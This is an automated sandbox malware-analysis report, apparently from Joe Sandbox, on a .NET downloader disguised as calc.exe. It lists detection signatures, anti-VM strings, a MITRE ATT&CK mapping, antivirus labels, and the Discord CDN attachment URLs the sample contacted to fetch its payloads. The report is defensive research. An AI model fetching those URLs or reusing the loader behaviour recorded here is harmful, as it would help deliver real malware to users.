Source: 00000000.00000000.330105874.0000000005750000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000000.329031309.0000000000AA2000.00000002.00020000.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000000.00000000.329564277.00000000030D1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 2188
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_06437EC80_2_06437EC8
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0643A7200_2_0643A720
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0643BB500_2_0643BB50
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_064381E00_2_064381E0
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_064399880_2_06439988
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_06439EE00_2_06439EE0
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_06436EE90_2_06436EE9
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_06436EF80_2_06436EF8
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_064337D80_2_064337D8
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_064364D80_2_064364D8
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_064364E00_2_064364E0
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0643BB4F0_2_0643BB4F
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_06438B990_2_06438B99
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_06438BA80_2_06438BA8
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_064328400_2_06432840
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_064310100_2_06431010
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_064310200_2_06431020
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_064328D80_2_064328D8
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_064328B00_2_064328B0
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0643997A0_2_0643997A
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_064331F00_2_064331F0
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_07950DA80_2_07950DA8
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0795DD780_2_0795DD78
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_07955CD00_2_07955CD0
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0795AB580_2_0795AB58
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_079579A00_2_079579A0
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_079539380_2_07953938
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0795BE580_2_0795BE58
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_07950D990_2_07950D99
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0795AB480_2_0795AB48
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_079579900_2_07957990
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_07E60EF00_2_07E60EF0
Source: calc.exe, 00000000.00000002.370090913.00000000067B0000.00000004.00000001.sdmpBinary or memory string: get_OriginalFilename vs calc.exe
Source: calc.exe, 00000000.00000002.370090913.00000000067B0000.00000004.00000001.sdmpBinary or memory string: originalFilename vs calc.exe
Source: calc.exe, 00000000.00000002.370090913.00000000067B0000.00000004.00000001.sdmpBinary or memory string: LegalCopyright!OriginalFilename vs calc.exe
Source: calc.exe, 00000000.00000002.370090913.00000000067B0000.00000004.00000001.sdmpBinary or memory string: SpecialBuild%File: %InternalName: %OriginalFilename: %FileVersion: %FileDescription: %Product: %ProductVersion: %Debug: %Patched: %PreRelease: %PrivateBuild: %SpecialBuild: %Language: vs calc.exe
Source: calc.exe, 00000000.00000000.342834254.000000000117B000.00000004.00000020.sdmpBinary or memory string: OriginalFilenameclr.dllT vs calc.exe
Source: calc.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: calc.exeVirustotal: Detection: 54%
Source: calc.exeReversingLabs: Detection: 26%
Source: C:\Users\user\Desktop\calc.exeFile read: C:\Users\user\Desktop\calc.exeJump to behavior
Source: calc.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\calc.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\calc.exe 'C:\Users\user\Desktop\calc.exe'
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 2188
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 2188
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 2188Jump to behavior
Source: C:\Users\user\Desktop\calc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C9326B03-E51D-43A3-9394-9B8ECCDBAD9B}\InprocServer32Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeFile created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER95DF.tmpJump to behavior
Source: classification engineClassification label: mal72.evad.winEXE@6/7@1/2
Source: calc.exeJoe Sandbox Cloud Basic: Detection: clean Score: 0Perma Link
Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5472
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3200:120:WilError_01
Source: C:\Users\user\Desktop\calc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\calc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\calc.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
Source: calc.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: calc.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Source: calc.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: mscorlib.pdb source: WER95DF.tmp.dmp.6.dr
Source: Binary string: C:\Users\jpint\OneDrive\Desktop\BuilderBot\BuilderBot\bin\Release\stub\un_priv\DarkEdition\obj\Release\calc.pdb source: calc.exe
Source: Binary string: calc.pdb source: WER95DF.tmp.dmp.6.dr
Source: Binary string: System.Core.pdb source: WER95DF.tmp.dmp.6.dr
Source: Binary string: System.Configuration.pdb source: WER95DF.tmp.dmp.6.dr
Source: Binary string: System.Xml.pdb source: WER95DF.tmp.dmp.6.dr
Source: Binary string: System.pdb source: calc.exe, 00000000.00000002.367647952.00000000031D9000.00000004.00000001.sdmp, WER95DF.tmp.dmp.6.dr

Data Obfuscation:

barindex
.NET source code contains potential unpackerShow sources
Source: calc.exe, DarkEdition/signature.cs.Net Code: revert System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.calc.exe.aa0000.0.unpack, DarkEdition/signature.cs.Net Code: revert System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.calc.exe.aa0000.3.unpack, DarkEdition/signature.cs.Net Code: revert System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.calc.exe.aa0000.1.unpack, DarkEdition/signature.cs.Net Code: revert System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.calc.exe.aa0000.0.unpack, DarkEdition/signature.cs.Net Code: revert System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: calc.exeStatic PE information: 0xFB362630 [Mon Jul 23 10:32:16 2103 UTC]
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeMemory allocated: 2D40000 memory reserve | memory write watchJump to behavior
Source: C:\Users\user\Desktop\calc.exeMemory allocated: 30D0000 memory reserve | memory write watchJump to behavior
Source: C:\Users\user\Desktop\calc.exeMemory allocated: 50D0000 memory reserve | memory write watchJump to behavior
Source: Amcache.hve.6.drBinary or memory string: VMware
Source: Amcache.hve.6.drBinary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.6.drBinary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.6.drBinary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.drBinary or memory string: VMware, Inc.
Source: Amcache.hve.6.drBinary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: Amcache.hve.6.drBinary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.drBinary or memory string: VMware7,1
Source: Amcache.hve.6.drBinary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.drBinary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.drBinary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.drBinary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.drBinary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.drBinary or memory string: VMware, Inc.me
Source: Amcache.hve.6.drBinary or memory string: VMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7
Source: calc.exe, 00000000.00000002.374478680.00000000073F8000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll|y
Source: Amcache.hve.6.drBinary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.6.drBinary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: C:\Users\user\Desktop\calc.exeProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 2188Jump to behavior
Source: C:\Users\user\Desktop\calc.exeMemory allocated: page read and write | page guardJump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)Show sources
Source: C:\Users\user\Desktop\calc.exeDomain query: cdn.discordapp.com
Source: C:\Users\user\Desktop\calc.exeNetwork Connect: 162.159.129.233 443Jump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 2188Jump to behavior
Source: calc.exe, 00000000.00000000.329435421.00000000017A0000.00000002.00020000.sdmpBinary or memory string: Program Manager
Source: calc.exe, 00000000.00000000.329435421.00000000017A0000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
Source: calc.exe, 00000000.00000000.329435421.00000000017A0000.00000002.00020000.sdmpBinary or memory string: Progman
Source: calc.exe, 00000000.00000000.329435421.00000000017A0000.00000002.00020000.sdmpBinary or memory string: Progmanlock
Source: C:\Users\user\Desktop\calc.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\calc.exeQueries volume information: C:\Users\user\Desktop\calc.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\calc.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\calc.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\calc.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\calc.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\calc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_07957824 GetTimeZoneInformation,0_2_07957824
Source: Amcache.hve.6.drBinary or memory string: c:\users\user\desktop\procexp.exe
Source: Amcache.hve.6.drBinary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.drBinary or memory string: procexp.exe

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsWindows Management InstrumentationPath InterceptionProcess Injection112Virtualization/Sandbox Evasion2Input Capture1System Time Discovery1Remote ServicesInput Capture1Exfiltration Over Other Network MediumEncrypted Channel11Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools11LSASS MemorySecurity Software Discovery21Remote Desktop ProtocolArchive Collected Data1Exfiltration Over BluetoothIngress Tool Transfer3Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection112Security Account ManagerVirtualization/Sandbox Evasion2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationNon-Application Layer Protocol3Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Obfuscated Files or Information1NTDSProcess Discovery1Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol14SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware Packing1LSA SecretsRemote System Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.commonTimestomp1Cached Domain CredentialsSystem Information Discovery12VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
calc.exe54%VirustotalBrowse
calc.exe12%MetadefenderBrowse
calc.exe27%ReversingLabsByteCode-MSIL.Trojan.Heracles
calc.exe100%AviraTR/Dldr.Agent.gkrrf
calc.exe100%Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://cdn.discor0%URL Reputationsafe
https://cdn.discord0%URL Reputationsafe
https://cdn.discordapp.co0%URL Reputationsafe
https://cdn.discordapp.0%Avira URL Cloudsafe
http://crl.verisT0%Avira URL Cloudsafe
https://cdn.disc0%URL Reputationsafe
https://cdn.disco0%URL Reputationsafe
https://cdn.discorda0%URL Reputationsafe
https://cdn.d0%URL Reputationsafe
https://cdn.discordapp0%URL Reputationsafe
https://cdn.di0%URL Reputationsafe
https://cdn.discordapp.c0%URL Reputationsafe
https://cdn.discordap0%URL Reputationsafe
https://cdn.dis0%URL Reputationsafe
https://cdn.discordapp.comhgb0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
cdn.discordapp.com
162.159.129.233
truefalse
    high

    Contacted URLs

    NameMaliciousAntivirus DetectionReputation
    https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.txtfalse
      high
      https://cdn.discordapp.com/attachments/897402450376536075/897465559711633408/8NMrqq.txtfalse
        high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        https://cdn.discordapp.com/attachments/8972calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
          high
          https://cdn.discordapp.com/attachmentcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
            high
            https://cdn.discordapp.com/attachments/8972237076495156calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
              high
              https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ARcalc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                high
                https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ARTcalc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                  high
                  https://cdn.discordapp.com/attachments/89722370calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                    high
                    https://cdn.discordapp.com/attachments/897223calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                      high
                      https://cdn.discorcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                      • URL Reputation: safe
                      unknown
                      https://cdn.discordcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                      • URL Reputation: safe
                      unknown
                      https://cdn.discordapp.com/attaccalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                        high
                        https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/asccalc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                          high
                          https://cdn.discordapp.com/atcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                            high
                            https://cdn.discordapp.cocalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                            • URL Reputation: safe
                            unknown
                            https://cdn.discordapp.com/calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                              high
                              https://cdn.discordapp.com/attachments/897223707649515602/897228595calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                high
                                https://cdn.discordapp.com/attachmcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                  high
                                  https://cdn.discordapp.com/attachments/897223707649515602/8calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                    high
                                    https://cdn.discordapp.com/attachments/897223707649515602/8972285calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                      high
                                      https://cdn.discordapp.calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                      • Avira URL Cloud: safe
                                      unknown
                                      https://cdn.discordapp.com/attachments/897223707649515602/8972285953calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                        high
                                        https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascicalc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                          high
                                          http://crl.verisTcalc.exe, 00000000.00000002.375768006.0000000007F8B000.00000004.00000001.sdmpfalse
                                          • Avira URL Cloud: safe
                                          unknown
                                          https://cdn.disccalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          unknown
                                          http://my.netscape.com/publish/formats/rss-0.91.dtdcalc.exe, 00000000.00000002.372198113.0000000006E40000.00000004.00000001.sdmpfalse
                                            high
                                            https://cdn.discocalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                            • URL Reputation: safe
                                            unknown
                                            https://cdn.discordapp.com/attachments/89722370764951calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                              high
                                              https://cdn.discordapp.com/attachcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                high
                                                https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.txtdcalc.exe, 00000000.00000002.374635326.00000000074B0000.00000004.00000001.sdmpfalse
                                                  high
                                                  https://cdn.discordacalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://cdn.discordapp.com/attachments/897223707649515602calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                    high
                                                    https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                      high
                                                      https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/acalc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                        high
                                                        https://cdn.dcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                        • URL Reputation: safe
                                                        unknown
                                                        https://cdn.discordappcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                        • URL Reputation: safe
                                                        unknown
                                                        http://cdn.discordapp.comcalc.exe, 00000000.00000002.367540151.0000000003141000.00000004.00000001.sdmpfalse
                                                          high
